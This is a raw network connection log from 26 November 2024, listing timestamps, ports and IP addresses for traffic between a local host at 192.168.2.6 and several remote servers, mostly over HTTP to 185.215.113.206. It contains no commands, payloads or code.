Nov 26, 2024 16:31:46.437931061 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.437935114 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.437944889 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.437957048 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.437968016 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.437974930 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.437988043 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.437995911 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.438000917 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.438014030 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.438028097 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.438030958 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.438043118 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.438047886 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.438055038 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.438065052 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.438079119 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.438086033 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.438091993 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.438112020 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.438123941 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.438136101 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.438141108 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.438165903 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.438189983 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.438203096 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.438214064 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.438226938 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.438314915 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.438347101 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.438776016 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.438811064 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.438817024 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.438846111 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.439148903 CET	443	49875	23.200.88.39	192.168.2.6
Nov 26, 2024 16:31:46.440022945 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.440036058 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.440077066 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.440104961 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.440464973 CET	49875	443	192.168.2.6	23.200.88.39
Nov 26, 2024 16:31:46.440490961 CET	443	49875	23.200.88.39	192.168.2.6
Nov 26, 2024 16:31:46.441483021 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.441498041 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.441513062 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.441561937 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.441632986 CET	443	49875	23.200.88.39	192.168.2.6
Nov 26, 2024 16:31:46.441693068 CET	49875	443	192.168.2.6	23.200.88.39
Nov 26, 2024 16:31:46.442847967 CET	49875	443	192.168.2.6	23.200.88.39
Nov 26, 2024 16:31:46.442894936 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.442919970 CET	443	49875	23.200.88.39	192.168.2.6
Nov 26, 2024 16:31:46.442966938 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.449110031 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.449346066 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.453499079 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.453512907 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.453576088 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.454221964 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.454282999 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.460712910 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.460726023 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.460803986 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.461402893 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.461422920 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.461466074 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.461479902 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.463097095 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.463162899 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.464252949 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.464270115 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.464313984 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.464339018 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.465219975 CET	49872	443	192.168.2.6	20.110.205.119
Nov 26, 2024 16:31:46.465245962 CET	443	49872	20.110.205.119	192.168.2.6
Nov 26, 2024 16:31:46.466037035 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.466049910 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.466059923 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.466109991 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.467240095 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.467256069 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.467318058 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.468584061 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.468604088 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.468873024 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.470179081 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.470197916 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.470254898 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.471668959 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.471693039 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.471746922 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.471787930 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.472901106 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.472922087 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.472974062 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.472999096 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.494868040 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:46.494894981 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:46.494904041 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:46.494925976 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:46.494936943 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:46.494950056 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:46.494997025 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:46.495012999 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:46.495039940 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:46.495096922 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:46.504718065 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.504739046 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.504750967 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.504803896 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.506234884 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.506719112 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.507621050 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.509322882 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.510631084 CET	49873	443	192.168.2.6	204.79.197.237
Nov 26, 2024 16:31:46.510657072 CET	443	49873	204.79.197.237	192.168.2.6
Nov 26, 2024 16:31:46.510672092 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.510689974 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.510699034 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.510720015 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.510752916 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.511838913 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.511862993 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.511890888 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.511919975 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.513107061 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.513132095 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.513185024 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.514642000 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.514662981 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.514682055 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.514702082 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.514738083 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.516093969 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.516118050 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.516144991 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.516165972 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.518044949 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.518197060 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.519223928 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.519248009 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.519391060 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.520729065 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.520750046 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.520822048 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.522001028 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.522025108 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.522037983 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.522075891 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.522115946 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.523468018 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.523545980 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.525127888 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.525141001 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.525207043 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.550908089 CET	443	49874	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:46.557883978 CET	49884	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:46.557921886 CET	443	49884	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:46.557988882 CET	49884	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:46.558341026 CET	49885	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:46.558373928 CET	443	49885	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:46.558490992 CET	49885	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:46.565057039 CET	49884	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:46.565069914 CET	443	49884	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:46.566008091 CET	49885	443	192.168.2.6	172.64.41.3
Nov 26, 2024 16:31:46.566040993 CET	443	49885	172.64.41.3	192.168.2.6
Nov 26, 2024 16:31:46.566682100 CET	49874	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:46.566693068 CET	443	49874	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:46.567167044 CET	49874	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:46.567173004 CET	443	49874	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:46.642240047 CET	49875	443	192.168.2.6	23.200.88.39
Nov 26, 2024 16:31:46.642256021 CET	49872	443	192.168.2.6	20.110.205.119
Nov 26, 2024 16:31:46.642258883 CET	443	49875	23.200.88.39	192.168.2.6
Nov 26, 2024 16:31:46.697753906 CET	49873	443	192.168.2.6	204.79.197.237
Nov 26, 2024 16:31:46.729754925 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.729768991 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.729782104 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.729798079 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.729804039 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.729810953 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.729823112 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.729826927 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.729840040 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.729846001 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.729851961 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.729857922 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.729880095 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.729933023 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.729947090 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.729959965 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.729975939 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.729990005 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.729991913 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.730005026 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.730010033 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.730040073 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.744556904 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.744625092 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.746943951 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.746973991 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.746999979 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.747016907 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.747051001 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.747064114 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.747087002 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.747106075 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.747123957 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.747138023 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.747152090 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.747159004 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.747167110 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.747179031 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.747195005 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.747214079 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.747241974 CET	443	49863	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:46.747271061 CET	443	49863	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:46.747278929 CET	443	49863	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:46.747292042 CET	443	49863	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:46.747299910 CET	443	49863	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:46.747304916 CET	443	49863	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:46.747332096 CET	49863	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:46.747353077 CET	443	49863	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:46.747370958 CET	49863	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:46.747405052 CET	49863	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:46.748881102 CET	443	49878	104.126.116.98	192.168.2.6
Nov 26, 2024 16:31:46.749392986 CET	49878	443	192.168.2.6	104.126.116.98
Nov 26, 2024 16:31:46.749418020 CET	443	49878	104.126.116.98	192.168.2.6
Nov 26, 2024 16:31:46.750446081 CET	443	49878	104.126.116.98	192.168.2.6
Nov 26, 2024 16:31:46.750500917 CET	49878	443	192.168.2.6	104.126.116.98
Nov 26, 2024 16:31:46.752420902 CET	49878	443	192.168.2.6	104.126.116.98
Nov 26, 2024 16:31:46.752495050 CET	443	49878	104.126.116.98	192.168.2.6
Nov 26, 2024 16:31:46.753338099 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.753364086 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.753393888 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.753410101 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.753416061 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.753432035 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.753449917 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.753467083 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.753492117 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.753509045 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.753525972 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.753539085 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.753540039 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.753555059 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.753570080 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.753572941 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.753586054 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.753587961 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.753604889 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.753609896 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.753621101 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.753627062 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.753643990 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.753662109 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.753669977 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.753685951 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.753701925 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.753701925 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.753719091 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.753720045 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.753734112 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.753756046 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.753771067 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.753786087 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.753802061 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.753804922 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.753818035 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.753837109 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.753839970 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.753854990 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.753870010 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.753870010 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.753886938 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.753886938 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.753902912 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.753910065 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.753920078 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.753922939 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.753945112 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.753968000 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.753973007 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.753984928 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.754002094 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.754019022 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.754034042 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.754051924 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.754072905 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.754090071 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.754129887 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.754146099 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.754162073 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.754163980 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.754177094 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.754179955 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.754192114 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.754194975 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.754206896 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.754209995 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.754225016 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.754236937 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.754240990 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.754256964 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.754273891 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.754285097 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.754290104 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.754306078 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.754323959 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.754331112 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.754340887 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.754358053 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.754359007 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.754373074 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.754374027 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.754390955 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.754391909 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.754409075 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.754412889 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.754425049 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.754431009 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.754441977 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.754447937 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.754457951 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.754472971 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.754473925 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.754492044 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.754499912 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.754507065 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.754528046 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.754553080 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.754554987 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.754570007 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.754585981 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.754590034 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.754601955 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.754605055 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.754622936 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.754640102 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.760901928 CET	49875	443	192.168.2.6	23.200.88.39
Nov 26, 2024 16:31:46.761605978 CET	443	49879	23.44.133.54	192.168.2.6
Nov 26, 2024 16:31:46.761917114 CET	49879	443	192.168.2.6	23.44.133.54
Nov 26, 2024 16:31:46.761938095 CET	443	49879	23.44.133.54	192.168.2.6
